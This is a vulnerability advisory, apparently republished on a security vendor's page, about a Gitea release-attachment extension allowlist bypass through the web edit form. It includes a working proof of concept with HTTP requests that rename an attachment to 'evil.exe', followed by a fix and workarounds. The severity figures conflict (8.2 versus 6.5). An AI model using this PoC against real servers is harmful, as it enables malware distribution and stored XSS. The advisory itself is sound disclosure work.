Summary
Gitea: Release attachment extension allowlist bypass via web release edit form (variant of CVE-2025-68939)
The web handler EditReleasePost (routers/web/repo/release.go) reads form fields with prefix attachment-edit-{uuid} into a map[uuid]newName, passes that map to release_service.UpdateRelease, which writes the new name to the database via repo_model.UpdateAttachmentByUUID WITHOUT calling upload.Verify against setting.Repository.Release.AllowedTypes. The parent CVE-2025-68939 fix (PR #32151) added the equivalent upload.Verify call on the API edit endpoints via attachment_service.UpdateAttachment. The web release edit path was not updated.
A user with repository write permission can rename any existing release attachment to a name with a forbidden extension via the web release edit form, bypassing the operator-configured allowlist.
Details
Vulnerable code
routers/web/repo/release.go:597 EditReleasePost:
const editPrefix = "attachment-edit-"
editAttachments := make(map[string]string)
if setting.Attachment.Enabled {
for k, v := range ctx.Req.Form {
if strings.HasPrefix(k, editPrefix) {
editAttachments[k[len(editPrefix):]] = v[0]
}
}
}
...
if err = release_service.UpdateRelease(ctx, ctx.Doer, ctx.Repo.GitRepo,
rel, addAttachmentUUIDs, delAttachmentUUIDs, editAttachments); err != nil {
ctx.ServerError("UpdateRelease", err)
return
}
services/release/release.go:321 -- the unvalidated write:
for uuid, newName := range editAttachments {
if !deletedUUIDs.Contains(uuid) {
if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{
UUID: uuid,
Name: newName,
}, "name"); err != nil {
return err
}
}
}
No upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes) before the database write.
Comparison: the parent fix on the API path
routers/api/v1/repo/release_attachment.go:341 (patched in PR #32151):
if err := attachment_service.UpdateAttachment(ctx,
setting.Repository.Release.AllowedTypes, attach); err != nil {
if upload.IsErrFileTypeForbidden(err) {
ctx.Error(http.StatusUnprocessableEntity, "", err)
return
}
ctx.Error(http.StatusInternalServerError, "UpdateAttachment", attach)
return
}
Delegates to:
// services/attachment/attachment.go:96
func UpdateAttachment(ctx context.Context, allowedTypes string, attach *repo_model.Attachment) error {
if err := upload.Verify(nil, attach.Name, allowedTypes); err != nil {
return err
}
return repo_model.UpdateAttachment(ctx, attach)
}
The API path goes through attachment_service.UpdateAttachment which calls upload.Verify(nil, attach.Name, allowedTypes). The web path bypasses this entirely.
Proof of Concept
Tested live against:
- Gitea
v1.26.1community edition, Linux amd64, SQLite, Go 1.26.2 app.iniincludes[repository.release] ALLOWED_TYPES = .zip,.tar.gz- Two users:
admin(superuser, created viagitea admin user create --admin),bob(regular, repo owner ofbob/test-repo)
Step 1: bob creates release v0.1 and uploads innocent.zip (allowlist compliant) via the API.
Step 2: Sanity. The patched API edit endpoint rejects a rename to a forbidden extension.
PATCH /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1
Authorization: token <bob_token>
Content-Type: application/json
{"name":"evil.exe"}
Response: HTTP 422 -- "This file cannot be uploaded or modified due to a forbidden file extension or type." (parent CVE-2025-68939 fix in action).
Step 3: The attack. The web release edit form does NOT enforce the allowlist.
POST /bob/test-repo/releases/edit/v0.1 HTTP/1.1
Cookie: i_like_gitea=<session>; lang=en-US
Content-Type: application/x-www-form-urlencoded
tag_name=v0.1
&tag_target=main
&title=rename+payload
&content=
&attachment-edit-<existing_attachment_uuid>=evil.exe
Response: HTTP 303 -> /bob/test-repo/releases. The form is accepted with no validation error.
Step 4: Verify.
GET /api/v1/repos/bob/test-repo/releases/1/assets/1 HTTP/1.1
Response includes "name": "evil.exe". The download link /attachments/<uuid> now serves the file under the forbidden extension.
A self contained Python PoC ships with this advisory: GITEA-R007_release_edit_extension_bypass.py. End to end run:
GITEA-R007_release_edit_extension_bypass.py
[+] Logged in as bob
[+] Pre-attack attachment name: 'innocent2.zip'
[+] API endpoint correctly rejects rename: HTTP 422 (parent CVE-2025-68939 fix)
[+] POST release edit: HTTP 303 -> /bob/test-repo/releases
[+] Post-attack attachment name: 'pwn.exe'
[!!!] CONFIRMED: web release edit bypasses Release.AllowedTypes allowlist.
Suggested remediation
Mirror the parent CVE-2025-68939 fix into the web release edit path. In services/release/release.go UpdateRelease, verify each new name against the configured allowlist before persisting:
import (
"code.gitea.io/gitea/modules/setting"
"code.gitea.io/gitea/services/context/upload"
)
// inside UpdateRelease, replace the editAttachments loop:
for uuid, newName := range editAttachments {
if deletedUUIDs.Contains(uuid) {
continue
}
if err := upload.Verify(nil, newName, setting.Repository.Release.AllowedTypes); err != nil {
return err
}
if err = repo_model.UpdateAttachmentByUUID(ctx, &repo_model.Attachment{
UUID: uuid,
Name: newName,
}, "name"); err != nil {
return err
}
}
The web handler EditReleasePost should map IsErrFileTypeForbidden to a 422 response (or equivalent flash error and form re-render) to match the API behavior.
Alternative: refactor attachment_service.UpdateAttachment to accept a UUID (or expose a UpdateAttachmentByUUID variant in the service layer) and have the release service call that instead of the raw model function.
Workaround for operators (no Gitea change required)
Until a patched release lands, operators can mitigate by either:
- Removing the
Repository.Release.AllowedTypesallowlist (accept any extension) -- this eliminates the bypass but also removes the defense, so it is only a holding move. - Putting Gitea behind a reverse proxy that rewrites or strips suspicious
attachment-edit-*form fields on POST to/<owner>/<repo>/releases/edit/*-- viable but operationally fragile. - Restricting who has Write permission on repositories with a configured release allowlist -- in single-tenant deployments this may be acceptable.
A vendor patch is the right answer; the workarounds above are stopgaps.
Credit
Jose Rivas (bl4cksku111.com)
References
- Parent advisory: https://github.com/advisories/GHSA-263q-5cv3-xq9g (CVE-2025-68939)
- Parent fix: PR https://github.com/go-gitea/gitea/pull/32151 (commit
7adc4717ec) - CWE-424: https://cwe.mitre.org/data/definitions/424.html
- CWE-434: https://cwe.mitre.org/data/definitions/434.html
Impact
Same impact class as the parent CVE-2025-68939 (HIGH, CVSS 8.2):
- Pre-condition: operator has set
Repository.Release.AllowedTypesto a non-empty allowlist (a reasonable hardening posture when restricting release uploads). - Threat actor: user holding repository write permission. In most Gitea deployments this is the repo owner, organization members, or invited collaborators.
- Effect: bypass the allowlist; an attachment uploaded under an allowed extension is renamed to a forbidden extension (.exe, .html, .svg, .js, ...) and served by Gitea under that name.
- Practical impact:
- Distribute malware files (e.g.,
.exe,.dmg,.msi,.apk) masquerading as a tagged release attachment - If Gitea serves attachments with inline rendering (HTML, SVG), the renamed file hosts stored XSS against the Gitea origin
- Operator hardening intent (the allowlist) is silently defeated, with no audit trail beyond the regular release-edit event
- Distribute malware files (e.g.,
The application accepts file uploads without adequately restricting the file type or content. Typical impact: remote code execution if the uploaded file can be served and executed on the server.
CVE-2026-58428 has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (1.27.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-58428? CVE-2026-58428 is a medium-severity unrestricted upload of dangerous file types vulnerability in code.gitea.io/gitea (go), affecting versions < 1.27.0. It is fixed in 1.27.0. The application accepts file uploads without adequately restricting the file type or content.
- How severe is CVE-2026-58428? CVE-2026-58428 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of code.gitea.io/gitea are affected by CVE-2026-58428? code.gitea.io/gitea (go) versions < 1.27.0 is affected.
- Is there a fix for CVE-2026-58428? Yes. CVE-2026-58428 is fixed in 1.27.0. Upgrade to this version or later.
- Is CVE-2026-58428 exploitable, and should I be worried? Whether CVE-2026-58428 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-58428 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-58428? Upgrade
code.gitea.io/giteato 1.27.0 or later.